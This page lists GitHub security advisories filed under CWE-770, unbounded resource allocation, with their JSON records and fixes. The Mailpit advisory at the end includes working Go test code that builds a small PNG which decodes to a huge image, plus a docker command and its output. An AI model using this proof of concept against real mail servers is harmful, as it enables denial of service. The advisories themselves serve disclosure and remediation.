CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3625 vulnerabilities reference this CWE, most recent first.
GHSA-74H7-XGM8-8M8H
Vulnerability from github – Published: 2025-01-23 12:32 – Updated: 2026-02-23 12:31Denial of service condition in M-Files Server in versions before
25.1.14445.5 allows an unauthenticated user to consume computing resources in certain conditions.
{
"affected": [],
"aliases": [
"CVE-2025-0635"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T11:15:10Z",
"severity": "MODERATE"
},
"details": "Denial of service condition in M-Files Server in versions before \n\n25.1.14445.5 allows an unauthenticated user to consume computing resources in certain conditions.",
"id": "GHSA-74h7-xgm8-8m8h",
"modified": "2026-02-23T12:31:29Z",
"published": "2025-01-23T12:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0635"
},
{
"type": "WEB",
"url": "https://empower.m-files.com/security-advisories/CVE-2025-0635"
},
{
"type": "WEB",
"url": "https://product.m-files.com/security-advisories/cve-2025-0635"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-74J5-XF3V-CRQ8
Vulnerability from github – Published: 2026-07-15 23:05 – Updated: 2026-07-15 23:05Impact
Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.
Patches
This is resolved in version 2.8.1 and later of the dd-trace-go library.
Workarounds
If users cannot upgrade immediately:
1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently).
2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).
Resources
Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/DataDog/dd-trace-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.24.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/DataDog/dd-trace-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50274"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:05:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled.\nThe baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n### Patches\nThis is resolved in version 2.8.1 and later of the `dd-trace-go` library.\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
"id": "GHSA-74j5-xf3v-crq8",
"modified": "2026-07-15T23:05:19Z",
"published": "2026-07-15T23:05:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-go/security/advisories/GHSA-74j5-xf3v-crq8"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/dd-trace-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "dd-trace-go: Improper parsing of W3C baggage headers may lead to DoS"
}
GHSA-74JR-8VHJ-2C3F
Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2026-01-30 21:30Interactive service agent in OpenVPN version 2.5.0 through 2.7_rc2 on Windows allows a local authenticated user to connect to the service and trigger an error causing a local denial of service.
{
"affected": [],
"aliases": [
"CVE-2025-13751"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-03T17:15:49Z",
"severity": "LOW"
},
"details": "Interactive service agent in OpenVPN version 2.5.0 through 2.7_rc2 on Windows allows a local authenticated user to connect to the service and trigger an error causing a local denial of service.",
"id": "GHSA-74jr-8vhj-2c3f",
"modified": "2026-01-30T21:30:19Z",
"published": "2025-12-03T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13751"
},
{
"type": "WEB",
"url": "https://community.openvpn.net/Security%20Announcements/CVE-2025-13751"
},
{
"type": "WEB",
"url": "https://www.mail-archive.com/openvpn-announce@lists.sourceforge.net/msg00153.html"
},
{
"type": "WEB",
"url": "https://www.mail-archive.com/openvpn-announce@lists.sourceforge.net/msg00154.html"
},
{
"type": "WEB",
"url": "https://www.mail-archive.com/openvpn-announce@lists.sourceforge.net/msg00154.htmlhttps:"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
"type": "CVSS_V4"
}
]
}
GHSA-74M6-M3XX-3VMJ
Vulnerability from github – Published: 2026-08-10 09:31 – Updated: 2026-09-01 20:22A vulnerability in keras-team/keras versions < 3.15.0 allows for a denial of service (DoS) attack when loading malicious .keras model files via the keras.models.load_model() function. The H5IOStore.getitem method in keras/src/saving/saving_lib.py does not validate the shape or size of datasets, leading to unbounded memory allocation. A specially crafted .keras file can exploit this flaw to trigger an out-of-memory (OOM) condition, causing the process to be terminated (exit code 137). This issue bypasses the fix for CVE-2026-0897, which only addressed a similar vulnerability in KerasFileEditor. The attack vector includes poisoned models from public repositories or malicious model registries, posing a risk to machine learning pipelines that process untrusted models.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12570"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T20:22:06Z",
"nvd_published_at": "2026-08-10T07:16:44Z",
"severity": "MODERATE"
},
"details": "A vulnerability in keras-team/keras versions \u003c 3.15.0 allows for a denial of service (DoS) attack when loading malicious .keras model files via the keras.models.load_model() function. The H5IOStore.__getitem__ method in keras/src/saving/saving_lib.py does not validate the shape or size of datasets, leading to unbounded memory allocation. A specially crafted .keras file can exploit this flaw to trigger an out-of-memory (OOM) condition, causing the process to be terminated (exit code 137). This issue bypasses the fix for CVE-2026-0897, which only addressed a similar vulnerability in KerasFileEditor. The attack vector includes poisoned models from public repositories or malicious model registries, posing a risk to machine learning pipelines that process untrusted models.",
"id": "GHSA-74m6-m3xx-3vmj",
"modified": "2026-09-01T20:22:06Z",
"published": "2026-08-10T09:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12570"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/pull/22975"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/4933ea4a5b3fcc24ceacdc276f5bb5dfbd06756c"
},
{
"type": "PACKAGE",
"url": "https://github.com/keras-team/keras"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/releases/tag/v3.15.0"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/a064f475-780a-409a-82f7-678512f27ad8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Keras model loading is vulnerable to denial of service through HDF5 shape bombs"
}
GHSA-74XJ-WH4W-VQXC
Vulnerability from github – Published: 2026-07-15 22:53 – Updated: 2026-07-15 22:53Impact
Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.
Patches
This is resolved in version 1.62.0 and later of the dd-trace-java library.
Workarounds
If users cannot upgrade immediately:
1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently).
2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).
Resources
Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.datadoghq:dd-java-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.62.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50270"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T22:53:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n\n### Patches\nThis is resolved in version 1.62.0 and later of the `dd-trace-java` library.\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
"id": "GHSA-74xj-wh4w-vqxc",
"modified": "2026-07-15T22:53:16Z",
"published": "2026-07-15T22:53:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-java/security/advisories/GHSA-74xj-wh4w-vqxc"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/dd-trace-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "dd-trace-java: Improper parsing of W3C baggage headers may lead to DoS"
}
GHSA-75M2-JHH5-J5G2
Vulnerability from github – Published: 2025-04-07 18:57 – Updated: 2025-04-08 17:50Impact
Summary
A vulnerability in Apollo Router allowed queries with deeply nested and reused named fragments to be prohibitively expensive to query plan, specifically during named fragment expansion. This could lead to excessive resource consumption and denial of service.
Details
Named fragments were being expanded once per fragment spread during query planning, leading to exponential resource usage when deeply nested and reused fragments were involved.
Fix/Mitigation
A new Query Fragment Expansion Limit metric has been introduced: - This metric computes the number of selections a query would have if its fragment spreads were fully expanded. - The metric is checked against a limit to prevent excessive computation.
Patches
This has been remediated in apollo-router versions 1.61.2 and 2.1.1.
Workarounds
The only known workaround is "Safelisting" or "Safelisting with IDs only" per Safelisting with Persisted Queries - Apollo GraphQL Docs.
References
Acknowledgements
We appreciate the efforts of the security community in identifying and improving the performance and security of query planning mechanisms.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "apollo-router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.61.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "apollo-router"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-alpha.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-32034"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-07T18:57:56Z",
"nvd_published_at": "2025-04-07T21:15:43Z",
"severity": "HIGH"
},
"details": "# Impact\n\n## Summary\n\nA vulnerability in Apollo Router allowed queries with deeply nested and reused named fragments to be prohibitively expensive to query plan, specifically during named fragment expansion. This could lead to excessive resource consumption and denial of service.\n\n## Details\n\nNamed fragments were being expanded once per fragment spread during query planning, leading to exponential resource usage when deeply nested and reused fragments were involved.\n\n## Fix/Mitigation\n\nA new **Query Fragment Expansion Limit** metric has been introduced:\n - This metric computes the number of selections a query would have if its fragment spreads were fully expanded.\n - The metric is checked against a limit to prevent excessive computation.\n\n# Patches\n\nThis has been remediated in `apollo-router` versions 1.61.2 and 2.1.1.\n\n# Workarounds\n\nThe only known workaround is \"Safelisting\" or \"Safelisting with IDs only\" per [Safelisting with Persisted Queries - Apollo GraphQL Docs](https://www.apollographql.com/docs/graphos/routing/security/persisted-queries#router-security-levels).\n\n# References\n\n[Query Planning Documentation](https://www.apollographql.com/docs/graphos/reference/federation/query-plans)\n\n## Acknowledgements\n\nWe appreciate the efforts of the security community in identifying and improving the performance and security of query planning mechanisms.",
"id": "GHSA-75m2-jhh5-j5g2",
"modified": "2025-04-08T17:50:03Z",
"published": "2025-04-07T18:57:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/router/security/advisories/GHSA-75m2-jhh5-j5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32034"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/router/commit/ab6675a63174715ea6ff50881fc957831d4e9564"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/router/commit/bba032e183b861348a466d3123c7137a1ae18952"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apollo Router Query Planner Vulnerable to Excessive Resource Consumption via Named Fragment Expansion"
}
GHSA-75MR-QW9X-3R39
Vulnerability from github – Published: 2026-09-02 23:39 – Updated: 2026-09-02 23:39Summary
Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request /api/v1/message/{id}/part/{partID}/thumb to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.
Technical Details
The route is registered as GET /api/v1/message/{id}/part/{partID}/thumb in server/server.go. The handler in server/apiv1/thumbnails.go loads the requested attachment and accepts any part whose content type begins with image/:
a, err := storage.GetAttachmentPart(id, partID)
// ...
if !strings.HasPrefix(a.ContentType, "image/") {
blankImage(a, w)
return
}
buf := bytes.NewBuffer(a.Content)
img, err := imaging.Decode(buf, imaging.AutoOrientation(true))
storage.GetAttachmentPart() reparses the stored raw email and returns the matching attacker-supplied attachment bytes. Thumbnail() then calls imaging.Decode() before any check on declared dimensions or estimated decoded bytes. The subsequent imaging.Fill(img, 180, 120, ...), imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.
The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.
The UI also naturally reaches this endpoint for image attachments. server/ui-src/components/message/MessageAttachments.vue uses /api/v1/message/{message.ID}/part/{part.PartID}/thumb as the <img src> for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.
PoV
The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual PartID, and call Thumbnail().
The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.
package apiv1
import (
"bytes"
"compress/zlib"
"encoding/base64"
"encoding/binary"
"fmt"
"hash/crc32"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"testing"
"github.com/axllent/mailpit/config"
"github.com/axllent/mailpit/internal/logger"
"github.com/axllent/mailpit/internal/storage"
"github.com/kovidgoyal/imaging"
)
func pngChunk(kind string, data []byte) []byte {
var out bytes.Buffer
_ = binary.Write(&out, binary.BigEndian, uint32(len(data)))
out.WriteString(kind)
out.Write(data)
crc := crc32.NewIEEE()
crc.Write([]byte(kind))
crc.Write(data)
_ = binary.Write(&out, binary.BigEndian, crc.Sum32())
return out.Bytes()
}
func solidRGBApng(width, height int) []byte {
var out bytes.Buffer
out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
ihdr[8] = 8
ihdr[9] = 6
out.Write(pngChunk("IHDR", ihdr))
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
row := make([]byte, 1+width*4)
for i := 0; i < height; i++ {
_, _ = zw.Write(row)
}
_ = zw.Close()
out.Write(pngChunk("IDAT", compressed.Bytes()))
out.Write(pngChunk("IEND", nil))
return out.Bytes()
}
func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))
if err != nil {
t.Fatalf("decode failed: %v", err)
}
thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)
if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {
t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds())
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))
})
}
}
func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {
logger.NoLogging = true
config.Database = filepath.Join(t.TempDir(), "mailpit.db")
config.Compression = 0
config.TenantID = ""
config.MaxMessages = 0
if err := storage.InitDB(); err != nil {
t.Fatalf("InitDB failed: %v", err)
}
defer storage.Close()
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload)))
id, err := storage.Store(&raw, nil)
if err != nil {
t.Fatalf("Store failed: %v", err)
}
msg, err := storage.GetMessage(id)
if err != nil {
t.Fatalf("GetMessage failed: %v", err)
}
if len(msg.Attachments) != 1 {
t.Fatalf("attachments=%d, want 1", len(msg.Attachments))
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil)
req.SetPathValue("id", id)
req.SetPathValue("partID", msg.Attachments[0].PartID)
rr := httptest.NewRecorder()
Thumbnail(rr, req)
if rr.Code != http.StatusOK {
t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String())
}
if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" {
t.Fatalf("Content-Type=%q, want image/jpeg", ct)
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())
})
}
}
func wrapBase64(b []byte) string {
encoded := base64.StdEncoding.EncodeToString(b)
var lines []string
for len(encoded) > 76 {
lines = append(lines, encoded[:76])
encoded = encoded[76:]
}
if encoded != "" {
lines = append(lines, encoded)
}
return strings.Join(lines, "\r\n")
}
PoC
From a Mailpit checkout, save the test above as server/apiv1/thumbnail_dimension_pov_test.go and run:
docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v
On current develop commit cd7661fd5b23cce1e218b583b21e157cfa612051, the relevant output is:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.781s
The same test against v1.30.3 commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13 prints the same amplification:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.805s
The negative-control case shows ordinary thumbnail generation still works. The oversized-attachment handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.
Impact
An unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.
The safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.
Suggested Fix
Reject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling imaging.Decode() or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.
Apply the cap to all supported image formats and to both inline and regular attachments returned by GetAttachmentPart(). Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed image/* attachment.
Affected Package/Versions
Confirmed affected:
- Current
develop:cd7661fd5b23cce1e218b583b21e157cfa612051 - Latest release:
v1.30.3, tag commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, published 2026-06-27
Advisory History
The closest published Mailpit advisories are the resource-consumption reports GHSA-fpxj-m5q8-fphw and GHSA-28pq-6qxg-wg5r. GHSA-fpxj-m5q8-fphw covers unlimited SMTP DATA and /api/v1/send body sizes, while GHSA-28pq-6qxg-wg5r covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.
